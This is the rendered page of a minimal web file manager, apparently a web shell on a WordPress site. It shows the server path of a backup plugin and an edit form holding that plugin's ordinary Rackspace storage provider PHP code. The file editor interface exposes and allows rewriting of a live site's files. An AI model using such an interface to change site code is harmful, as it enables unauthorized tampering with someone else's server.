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<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2F'>www.nib.st</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-content%2F'>wp-content</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-content%2Fplugins%2F'>plugins</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-content%2Fplugins%2Fbackwpup%2F'>backwpup</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-content%2Fplugins%2Fbackwpup%2Fsrc%2F'>src</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-content%2Fplugins%2Fbackwpup%2Fsrc%2FStorageProviders%2F'>StorageProviders</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-content%2Fplugins%2Fbackwpup%2Fsrc%2FStorageProviders%2FRackspace%2F'>Rackspace</a>/</p><hr><h3>✏️ Editing: RackspaceProvider.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php

declare(strict_types=1);

namespace WPMedia\BackWPup\StorageProviders\Rackspace;

use BackWPup_Admin;
use Exception;
use Inpsyde\BackWPupShared\File\MimeTypeExtractor;
use RuntimeException;
use WPMedia\BackWPup\Dependencies\GuzzleHttp\Client;

/**
 * Rackspace cloud storage provider.
 */
class RackspaceProvider {
	/**
	 * Rackspace US
	 *
	 * @var string
	 */
	private string $rackspace_us = &#039;https://identity.api.rackspacecloud.com/v2.0/&#039;;

	/**
	 * Rackspace UK
	 *
	 * @var string
	 */
	private string $rackspace_uk = &#039;https://lon.identity.api.rackspacecloud.com/v2.0/&#039;;

	/**
	 * Guzzle client.
	 *
	 * @var Client
	 */
	private $http_client = null;

	/**
	 * User auth token.
	 *
	 * @var string
	 */
	private string $auth_token;

	/**
	 * Cloud endpoint url.
	 *
	 * @var string
	 */
	private string $cloud_files_endpoint_url;

	/**
	 * Container name
	 *
	 * @var string
	 */
	private string $container_name;

	/**
	 * Credentials passed in by the user
	 *
	 * @var array
	 */
	private array $secret = [];

	/**
	 * Auth url
	 *
	 * @var string
	 */
	private string $auth_url;

	/**
	 * Api key
	 *
	 * @var string
	 */
	private string $api_key;

	/**
	 * Rackspace username
	 *
	 * @var string
	 */
	private string $username;

	/**
	 * Cloud region
	 *
	 * @var string
	 */
	private string $region;

	/**
	 * Constructor
	 *
	 * @param array $data The configuration data.
	 */
	public function __construct( array $data ) {
		$this-&gt;set_secret( $data );
		$this-&gt;set_username( $data[&#039;username&#039;] );
		$this-&gt;set_api_key( $data[&#039;api_key&#039;] );
		$this-&gt;set_container_name( $data[&#039;container_name&#039;] );
		$this-&gt;set_region( $data[&#039;region&#039;] );
		$this-&gt;set_auth_url( $data[&#039;region&#039;] );
	}

	/**
	 * Set secret
	 *
	 * @param array $secret
	 *
	 * @return void
	 */
	public function set_secret( array $secret = [] ): void {
		$this-&gt;secret = $secret;
	}

	/**
	 * Set region
	 *
	 * @param string $region The cloud region.
	 */
	public function set_region( string $region ): void {
		$this-&gt;region = $region;
	}

	/**
	 * Get region
	 *
	 * @return string
	 */
	public function get_region(): string {
		return $this-&gt;region;
	}

	/**
	 * Set container
	 *
	 * @param string $container_name The container name.
	 *
	 * @return void
	 */
	public function set_container_name( string $container_name ): void {
		$this-&gt;container_name = $container_name;
	}

	/**
	 * Get container name
	 *
	 * @return string
	 */
	public function get_container_name(): string {
		return $this-&gt;container_name;
	}

	/**
	 * Get the secret.
	 *
	 * @return array
	 */
	public function get_secret(): array {
		return $this-&gt;secret;
	}


	/**
	 * Initialise the tenant using the supplied credentials
	 *
	 * @return void
	 * @throws Exception Throw guzzle exception if request failed.
	 */
	public function initialise(): void {
		$response = wp_remote_post(
			$this-&gt;get_auth_url() . &#039;tokens&#039;,
			[
				&#039;timeout&#039; =&gt; 30,
				&#039;headers&#039; =&gt; [
					&#039;Content-Type&#039; =&gt; &#039;application/json&#039;,
					&#039;Accept&#039;       =&gt; &#039;application/json&#039;,
				],
				&#039;body&#039;    =&gt; wp_json_encode(
					[
						&#039;auth&#039; =&gt; [
							&#039;RAX-KSKEY:apiKeyCredentials&#039; =&gt; [
								&#039;username&#039; =&gt; $this-&gt;get_username(),
								&#039;apiKey&#039;   =&gt; $this-&gt;get_api_key(),
							],
						],
					]
					),
			]
		);

		if ( is_wp_error( $response ) ) {
			/* translators: %s: error message from the response */
			throw new Exception( sprintf( esc_html__( &#039;Authentication request failed: %s &#039;, &#039;backwpup&#039; ), esc_html( $response-&gt;get_error_message() ) ) );
		}

		$response_code = wp_remote_retrieve_response_code( $response );
		if ( 200 !== $response_code ) {
			$error_message = wp_remote_retrieve_response_message( $response );
			throw new Exception(
				sprintf(
				/* translators: %1s: response code %1$s error message from the response */
					esc_html__( &#039;Authentication failed with HTTP %1$s %2$s &#039;, &#039;backwpup&#039; ),
					esc_html( $response_code ),
					esc_html( $error_message )
				)
			);
		}

		$body = wp_remote_retrieve_body( $response );
		$data = json_decode( $body );

		if ( ! isset( $data-&gt;access-&gt;token-&gt;id ) ) {
			throw new Exception( &#039;Invalid authentication response structure&#039; );
		}

		$this-&gt;set_token( $data-&gt;access-&gt;token-&gt;id );
		$this-&gt;set_endpoint_url( $data );
	}

	/**
	 * Set the endpoint url for Rackspace container.
	 *
	 * @param object $data Rackspace data.
	 *
	 * @return void
	 */
	public function set_endpoint_url( $data ): void {
		foreach ( $data-&gt;access-&gt;serviceCatalog as $service ) {
			if ( &#039;cloudFiles&#039; === $service-&gt;name ) {
				foreach ( $service-&gt;endpoints as $endpoint ) {
					if ( $endpoint-&gt;region === $this-&gt;get_region() ) {
						$this-&gt;cloud_files_endpoint_url = $endpoint-&gt;publicURL; // phpcs:ignore
						break 2;
					}
				}
			}
		}
	}

	/**
	 * Get available containers.
	 *
	 * @return mixed
	 * @throws Exception If container request failed.
	 */
	public function get_containers() {
		try {
			$response = wp_remote_get(
				$this-&gt;cloud_files_endpoint_url,
				[
					&#039;headers&#039; =&gt; [
						&#039;X-Auth-Token&#039; =&gt; $this-&gt;get_token(),
						&#039;Accept&#039;       =&gt; &#039;application/json&#039;,
					],
					&#039;timeout&#039; =&gt; 30,
				]
				);

			if ( is_wp_error( $response ) ) {
				throw new Exception( &#039;Failed to get containers: &#039; . $response-&gt;get_error_message() );
			}

			if ( 200 !== wp_remote_retrieve_response_code( $response ) ) {
				throw new Exception( &#039;Failed to get containers with status: &#039; . wp_remote_retrieve_response_code( $response ) );
			}
		} catch ( \Exception $e ) {
			$error_message = sprintf(
			/* translators: 1: error code, 2: error message */
				__( &#039;Failed to get containers: %1$s&#039;, &#039;backwpup&#039; ),
				$e-&gt;getMessage()
			);
			throw new Exception( esc_html( $error_message ) );
		}

		return json_decode( wp_remote_retrieve_body( $response ), true );
	}

	/**
	 * Set authenticated url
	 *
	 * @param string $region Cloud region.
	 * @return void
	 */
	public function set_auth_url( string $region ) {
		if ( &#039;LON&#039; === $region ) {
			$this-&gt;auth_url = $this-&gt;rackspace_uk;

			return;
		}

		$this-&gt;auth_url = $this-&gt;rackspace_us;
	}

	/**
	 * Get authenticated url
	 *
	 * @return string
	 */
	public function get_auth_url(): string {
		return $this-&gt;auth_url;
	}

	/**
	 * Set api key
	 *
	 * @param string $api_key Api key.
	 *
	 * @return void
	 */
	public function set_api_key( string $api_key ): void {
		$this-&gt;api_key = $api_key;
	}

	/**
	 * Get api key
	 *
	 * @return string
	 */
	public function get_api_key() {
		return $this-&gt;api_key;
	}

	/**
	 * Set username
	 *
	 * @param string $username Set username.
	 *
	 * @return void
	 */
	public function set_username( string $username ): void {
		$this-&gt;username = $username;
	}

	/**
	 * Get username
	 *
	 * @return string
	 */
	public function get_username(): string {
		return $this-&gt;username;
	}

	/**
	 * Set auth token.
	 *
	 * @param string $token Token.
	 *
	 * @return void
	 */
	public function set_token( string $token ): void {
		$this-&gt;auth_token = $token;
	}

	/**
	 * Get auth token.
	 *
	 * @return string
	 */
	public function get_token(): string {

		return $this-&gt;auth_token;
	}

	/**
	 * Upload to cloud storage.
	 *
	 * @param string $filename The filename of the upload.
	 * @param mixed  $data The upload data.
	 *
	 * @return true
	 * @throws Exception If upload fails.
	 * @throws Exception If upload fails.
	 */
	public function upload_object( string $filename, $data ): bool {
		$handle       = fopen( $data, &#039;r&#039; ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fopen
		$content_type = mime_content_type( $handle );
		$file_size    = filesize( $data );

		if ( false === $content_type ) {
			$content_type = MimeTypeExtractor::fromFilePath( $data );
		}

		/**
		 * Filters for the memory usage threshold, determine when to switch to chunked reading for upload.
		 *
		 * @since 5.0
		 *
		 * @param int $chunk_size The chunk size.
		 */
		$chunk_size = wpm_apply_filters_typed( &#039;integer&#039;, &#039;backwpup_rackspace_chunk_size&#039;, 20971520, );

		if ( $file_size &lt; $chunk_size ) { // chunk transfer on bigger uploads.
			return $this-&gt;regular_upload( $data, $filename, $content_type );
		}

		return $this-&gt;multipart_upload( $handle, $filename, $content_type, $chunk_size, $file_size );
	}

	/**
	 * Upload files
	 *
	 * @param string $data Data to be uploaded.
	 * @param string $filename The filename.
	 * @param string $content_type Content type.
	 *
	 * @return bool
	 * @throws Exception Throw exception if upload fails.
	 */
	public function regular_upload( string $data, string $filename, string $content_type ): bool {
		try {
			$args = [
				&#039;method&#039;  =&gt; &#039;PUT&#039;,
				&#039;timeout&#039; =&gt; 600,
				&#039;headers&#039; =&gt; [
					&#039;X-Auth-Token&#039; =&gt; $this-&gt;get_token(),
					&#039;Content-Type&#039; =&gt; $content_type,
				],
				&#039;body&#039;    =&gt; file_get_contents( $data ), //phpcs:ignore
			];

			$endpoint = &quot;{$this-&gt;cloud_files_endpoint_url}/{$this-&gt;container_name}/{$filename}&quot;;

			$response = wp_remote_request( $endpoint, $args );

			if ( is_wp_error( $response ) ) {
				throw new Exception( &#039;Upload failed: &#039; . $response-&gt;get_error_message() );
			}

			$status = wp_remote_retrieve_response_code( $response );
			if ( 200 &gt; $status || 300 &lt;= $status ) {
				throw new Exception( &#039;Upload failed with status: &#039; . $status );
			}
		} catch ( Exception $ex ) {
			$error_message = sprintf(
			/* translators: 1: error code, 2: error message */
				__( &#039;Error uploading file to Cloud Files. Code: %1$s message: %2$s&#039;, &#039;backwpup&#039; ),
				$ex-&gt;getCode(),
				$ex-&gt;getMessage()
			);
			throw new Exception(
				esc_html( $error_message )
			);
		}

		return true;
	}

	/**
	 * Multipart upload
	 *
	 * @param mixed  $data The data to be uploaded.
	 * @param string $filename The filename.
	 * @param string $content_type Content type.
	 * @param int    $chunk_size Chunk size.
	 * @param int    $file_size File size.
	 * @return bool
	 *
	 * @throws Exception Throw exception if upload fails.
	 */
	public function multipart_upload( $data, string $filename, string $content_type, int $chunk_size, int $file_size ): bool {
		if ( ! $data ) {
			/* translators: %s: error message from the response */
			throw new Exception( sprintf( esc_html__( &#039;Cannot open file for reading: %s&#039;, &#039;backwpup&#039; ), esc_html( $data ) ) );
		}
		$segments_uploaded = [];

		try {
			$total_read     = 0;
			$segment_number = 1;
			$segment_prefix = $filename . &#039;/&#039;;

			while ( ! feof( $data ) &amp;&amp; $total_read &lt; $file_size ) {
				$remaining         = $file_size - $total_read;
				$current_read_size = min( $chunk_size, $remaining );
				$chunk             = fread( $data, $current_read_size ); //phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fread
				if ( false === $chunk ) {
					throw new Exception( &#039;Failed to read chunk from file&#039; );
				}

				if ( strlen( $chunk ) === 0 ) {
					if ( feof( $data ) ) {
						break;
					} else {
						throw new Exception( &#039;Read empty chunk but not at end of file&#039; );
					}
				}

				$segment_name = $segment_prefix . sprintf( &#039;%08d&#039;, $segment_number );

				$this-&gt;chunk_upload( $chunk, $segment_name, $content_type, strlen( $chunk ) );
				$segments_uploaded[] = $segment_name;

				$total_read += strlen( $chunk );
				++$segment_number;
			}

			$this-&gt;create_manifest( $filename, $content_type, $segment_prefix );
		} catch ( Exception $e ) {
			// clean up uploaded segments if upload fails.
			$this-&gt;cleanup_segments( $segments_uploaded );

			/* translators: %s: error message from the exception */
			throw new Exception( sprintf( esc_html__( &#039;%s during larger file upload&#039;, &#039;backwpup&#039; ), esc_html( $e-&gt;getMessage() ) ) );
		} finally {
			fclose( $data ); //phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fclose
		}

		return true;
	}

	/**
	 * Create manifest after segment upload of backup.
	 *
	 * @param string $filename Filename.
	 * @param string $content_type The content type.
	 * @param string $segment_prefix The segment prefix.
	 *
	 * @return void
	 * @throws Exception Throw exception if request fail.
	 */
	private function create_manifest( string $filename, string $content_type, string $segment_prefix ): void {
		$args = [
			&#039;method&#039;  =&gt; &#039;PUT&#039;,
			&#039;timeout&#039; =&gt; 300,
			&#039;headers&#039; =&gt; [
				&#039;X-Auth-Token&#039;      =&gt; $this-&gt;get_token(),
				&#039;Content-Type&#039;      =&gt; $content_type,
				&#039;Content-Length&#039;    =&gt; 0,
				&#039;X-Object-Manifest&#039; =&gt; &quot;{$this-&gt;container_name}/{$segment_prefix}&quot;,
			],
			&#039;body&#039;    =&gt; &#039;&#039;,
		];

		$endpoint = &quot;{$this-&gt;cloud_files_endpoint_url}/{$this-&gt;container_name}/{$filename}&quot;;
		$response = wp_remote_request( $endpoint, $args );

		if ( is_wp_error( $response ) ) {
			/* translators: %s: error message from the response */
			throw new Exception( sprintf( esc_html__( &#039;Manifest creation failed: %s &#039;, &#039;backwpup&#039; ), esc_html( $response-&gt;get_error_message() ) ) );
		}

		$status = wp_remote_retrieve_response_code( $response );
		if ( $status &lt; 200 || $status &gt;= 300 ) {
			$response_body = wp_remote_retrieve_body( $response );
			throw new Exception(
				sprintf(
				// translators: %s: status, %s response body.
					esc_html__( &#039;Manifest creation failed with status %1$s. Response: %2$s&#039;, &#039;backwpup&#039; ),
					esc_html( $status ),
					esc_html( $response_body )
				)
			);
		}
	}

	/**
	 * Cleanup segment upload
	 *
	 * @param array $segment_names Segment names to clean up.
	 *
	 * @return void
	 * @throws Exception Throw exception if deletion failed.
	 */
	private function cleanup_segments( array $segment_names ): void {
		foreach ( $segment_names as $segment_name ) {
			try {
				$args = [
					&#039;method&#039;  =&gt; &#039;DELETE&#039;,
					&#039;timeout&#039; =&gt; 300,
					&#039;headers&#039; =&gt; [
						&#039;X-Auth-Token&#039; =&gt; $this-&gt;get_token(),
					],
				];

				$endpoint = &quot;{$this-&gt;cloud_files_endpoint_url}/{$this-&gt;container_name}/{$segment_name}&quot;;
				wp_remote_request( $endpoint, $args );
			} catch ( Exception $e ) {
				// translators: %s: error response.
				throw new Exception( sprintf( esc_html__( &#039;Failed to delete segment: %s &#039;, &#039;backwpup&#039; ), esc_html( $e-&gt;getMessage() ) ) );
			}
		}
	}

	/**
	 * Chunk upload
	 *
	 * @param mixed  $file_content The content to be uploaded.
	 * @param string $filename The filename.
	 * @param string $content_type Content type.
	 * @param int    $file_size File size.
	 *
	 * @return void
	 * @throws Exception Throw exception when upload fails.
	 */
	private function chunk_upload( $file_content, string $filename, string $content_type, int $file_size ): void {
		$args = [
			&#039;method&#039;  =&gt; &#039;PUT&#039;,
			&#039;timeout&#039; =&gt; max( 300, $file_size / 1024000 ),
			&#039;headers&#039; =&gt; [
				&#039;X-Auth-Token&#039;   =&gt; $this-&gt;get_token(),
				&#039;Content-Length&#039; =&gt; $file_size,
			],
			&#039;body&#039;    =&gt; $file_content,
		];

		$endpoint = &quot;{$this-&gt;cloud_files_endpoint_url}/{$this-&gt;container_name}/{$filename}&quot;;

		$response = wp_remote_request( $endpoint, $args );

		if ( is_wp_error( $response ) ) {
			/* translators: %s: error message from the response */
			throw new Exception( sprintf( esc_html__( &#039;Chunk upload failed: %s &#039;, &#039;backwpup&#039; ), esc_html( $response-&gt;get_error_message() ) ) );
		}

		$status = wp_remote_retrieve_response_code( $response );
		if ( $status &lt; 200 || $status &gt;= 300 ) {
			$response_body = wp_remote_retrieve_body( $response );
			throw new Exception(
				sprintf(
				// translators: %s: status, %s response body.
					esc_html__( &#039;Upload failed with status %1$s. Response: %2$s&#039;, &#039;backwpup&#039; ),
					esc_html( $status ),
					esc_html( $response_body )
				)
			);
		}
	}

	/**
	 * Get object list.
	 *
	 * @param array $params Available parameter to pass (prefix, limit, format, path ).
	 *
	 * @return mixed
	 * @throws Exception Throw exception error if request fail.
	 */
	public function object_list( array $params = [] ) {
		$endpoint     = $this-&gt;cloud_files_endpoint_url . &#039;/&#039; . $this-&gt;get_container_name();
		$query_params = array_merge( [ &#039;format&#039; =&gt; &#039;json&#039; ], $params );

		try {
			$url      = add_query_arg( $query_params, $endpoint );
			$response = wp_remote_get(
				$url,
				[
					&#039;headers&#039; =&gt; [
						&#039;X-Auth-Token&#039; =&gt; $this-&gt;get_token(),
						&#039;Accept&#039;       =&gt; &#039;application/json&#039;,
					],
					&#039;timeout&#039; =&gt; 30,
				]
			);

			if ( is_wp_error( $response ) ) {
				throw new Exception( &#039;Failed to get object list: &#039; . $response-&gt;get_error_message() );
			}

			$status_code = wp_remote_retrieve_response_code( $response );
			if ( 200 !== $status_code ) {
				throw new Exception( &#039;Failed to get object list with status: &#039; . $status_code );
			}

			$body = wp_remote_retrieve_body( $response );

			return json_decode( $body, true );
		} catch ( \Exception $e ) {
			$error_message = sprintf(
			/* translators: 1: error message */
				__( &#039;Failed to get object list: %1$s&#039;, &#039;backwpup&#039; ),
				$e-&gt;getMessage()
			);
			throw new Exception( esc_html( $error_message ) );
		}
	}

	/**
	 * Delete object in cloud storage
	 *
	 * @param string $object_name The object to be deleted.
	 * @param string $job_id The job id to be deleted.
	 *
	 * @return true
	 *
	 * @throws Exception When deletion process is complete.
	 */
	public function delete_object( string $object_name, string $job_id ): bool {
		try {
			$this-&gt;delete( $object_name );

			wp_schedule_single_event(
				time(),
				&#039;backwpup_rsc_delete_segment_files&#039;,
				[ $object_name, $job_id ]
			);
			return true;
		} catch ( \Exception $e ) {
			BackWPup_Admin::message( &#039;RSC: &#039; . $e-&gt;getMessage(), true );
		}

		return false;
	}

	/**
	 * Create container
	 *
	 * @param string $container_name The container name.
	 *
	 * @return bool
	 * @throws Exception Throw exception if request fails.
	 */
	public function create_container( string $container_name ): bool {
		$url = &quot;{$this-&gt;cloud_files_endpoint_url}/{$container_name}&quot;;

		$response = wp_remote_request(
			$url,
			[
				&#039;method&#039;  =&gt; &#039;PUT&#039;,
				&#039;timeout&#039; =&gt; 60,
				&#039;headers&#039; =&gt; [
					&#039;X-Auth-Token&#039; =&gt; $this-&gt;get_token(),
				],
			]
		);

		if ( is_wp_error( $response ) ) {
			/* translators: 1: error message */
			throw new Exception( sprintf( __( &#039;Can\&#039;t create  container: %1$s&#039;, &#039;backwpup&#039; ), esc_html( $response-&gt;get_error_message() ) ) ); // phpcs:ignore WordPress.Security.EscapeOutput.ExceptionNotEscaped
		}

		$status = wp_remote_retrieve_response_code( $response );

		if ( 201 !== $status ) {
			/* translators: 1: error message */
			throw new Exception( sprintf( __( &#039;Container creation failed: %1$s&#039;, &#039;backwpup&#039; ), esc_html( $status ) ) ); // phpcs:ignore WordPress.Security.EscapeOutput.ExceptionNotEscaped
		}

		return true;
	}

	/**
	 * Delete object.
	 *
	 * @param string $object_name The object name to be deleted.
	 *
	 * @return void
	 * @throws Exception Throw exception if deletion is not complete.
	 */
	public function delete( string $object_name ) {
		$url = &quot;{$this-&gt;cloud_files_endpoint_url}/{$this-&gt;get_container_name()}/{$object_name}&quot;;

		$response = wp_remote_request(
			$url,
			[
				&#039;method&#039;  =&gt; &#039;DELETE&#039;,
				&#039;timeout&#039; =&gt; 60,
				&#039;headers&#039; =&gt; [
					&#039;X-Auth-Token&#039; =&gt; $this-&gt;get_token(),
				],
			]
		);

		if ( is_wp_error( $response ) ) {
			/* translators: 1: error message */
			throw new Exception( sprintf( __( &#039;Delete failed: %1$s&#039;, &#039;backwpup&#039; ), esc_html( $response-&gt;get_error_message() ) ) ); // phpcs:ignore WordPress.Security.EscapeOutput.ExceptionNotEscaped
		}

		$status = wp_remote_retrieve_response_code( $response );

		if ( 204 !== $status &amp;&amp; 202 !== $status ) {
			/* translators: 1: error message */
			throw new Exception( sprintf( __( &#039;Delete failed with status: %1$s&#039;, &#039;backwpup&#039; ), esc_html( $status ) ) ); // phpcs:ignore WordPress.Security.EscapeOutput.ExceptionNotEscaped
		}
	}


	/**
	 * Deleted segments file
	 *
	 * @param string $filename The filename.
	 *
	 * @return void
	 */
	public function delete_segments_file( string $filename ): void {
		$prefix  = $filename . &#039;/&#039;;
		$objects = $this-&gt;object_list( [ &#039;prefix&#039; =&gt; $prefix ] );

		foreach ( $objects as $object ) {
			$this-&gt;delete( $object[&#039;name&#039;] );
		}
	}

	/**
	 * Get public url.
	 *
	 * @return string
	 */
	public function get_public_url(): string {
		return $this-&gt;cloud_files_endpoint_url;
	}

	/**
	 * Get file size
	 *
	 * @param string $object_name The object name.
	 *
	 * @return int
	 *
	 * @throws Exception When request failed.
	 * @throws RuntimeException Runtime exception.
	 */
	public function get_file_size( string $object_name ): int {
		$container_name = $this-&gt;get_container_name();

		$url = &quot;{$this-&gt;cloud_files_endpoint_url}/{$container_name}/{$object_name}&quot;;
		try {
			$head = wp_remote_head(
				$url,
				[
					&#039;headers&#039; =&gt; [ &#039;X-Auth-Token&#039; =&gt; $this-&gt;get_token() ],
				]
				);

			if ( is_wp_error( $head ) ) {
				throw new Exception( &#039;HEAD request failed: &#039; . $head-&gt;get_error_message() );
			}

			$file_size = ( wp_remote_retrieve_header( $head, &#039;content-length&#039; ) ?: 0 );

		} catch ( Exception $exception ) {
			throw new RuntimeException(
				sprintf(
				// translators: %s: file name.
					esc_html__( &#039;Could not get file %s from Rackspace&#039;, &#039;backwpup&#039; ),
					esc_html( $object_name )
				)
			);
		}

		return (int) $file_size;
	}
}
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